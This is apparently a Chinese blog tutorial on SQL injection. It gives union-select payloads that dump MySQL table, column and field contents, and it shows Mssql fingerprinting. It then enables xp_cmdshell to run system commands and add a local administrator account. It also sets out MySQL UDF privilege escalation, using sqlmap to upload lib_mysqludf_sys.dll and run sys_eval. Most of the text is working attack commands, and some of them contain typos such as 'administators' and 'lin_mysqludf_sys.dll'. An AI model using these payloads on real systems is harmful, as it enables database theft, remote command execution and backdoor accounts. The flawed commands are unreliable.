SQL注入专题(一)
一、数据库基本信息探测
探测数据库类型是SQL注入基本信息的一步,还有一些基本信息需要探测清楚,包括当前用户名、当前用户权限、当前数据库名、当前数据库表信息、当前数据库列信息。
二、手工注入-------使用Mysql特有库注出表名、列名、字段的值
使用数据库注出所有表名:
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3
住处当前数据库某个表的所有字段名:
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '数据库名' and table_name ='表明'),3
注出某字段的值:
union select 1,(select group_concat(列名,列名)from 数据库名称.表名),3,4
三、Mssql特有表:sysobjects
可与通过查询是否有特有表:sysobjects来判断数据库是否为Mssql:and exists(select * from sysobjects)
判断是狗支持子语句查询 and(select count(1) from [sysobjects])>=0
四、创建xp_cmdshell(创建一个登陆别人服务器的账号密码)
select IS_SRVROLEMEMBER('sysadmin');
EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE WITH OVERRIDE;
Exec xp_cmdshell 'ipconfig';
Exec xp_cmdshell 'net users';
Exec xp_cmdshell 'net user test chaitin@123 /add';
Exec xp_cmdshell 'net localgroup administators test /add';
五、UDF提权
UDF(user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数和user()一样;
使用UDF踢馆原理大概就是通过引入udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。
在MySQL5.1版本以上需要将其存在MySQL安装目录mysql/lib/plugin下,文件后缀位.dll;
使用SQLmap进行udf提权:
1、连接MySQL数据库打开一个交互shell:
sqlmap.py -u "url" --sql-shell
select@@version;
select @@plugin_dir;
C:/MYSQL/MYSQL5.6.17/LIB/PLUGIN/(mysql版本大一5.1版本udf.dll文件必须放置于,ysql安装目录下的libplugin文件夹下。)
2、利用sqlmap上传lib_mysqludf_sys到mysql插件目录:
sqlmap.py -u "url" --file-write =自己的目录/lib_mysqludf_sys.dll --file-dest =
C:/mysql/mysql5.6.17/lib/plugin/lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lin_mysqludf_sys.dll'
CREATE function sys_eval
RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
共有 0 条评论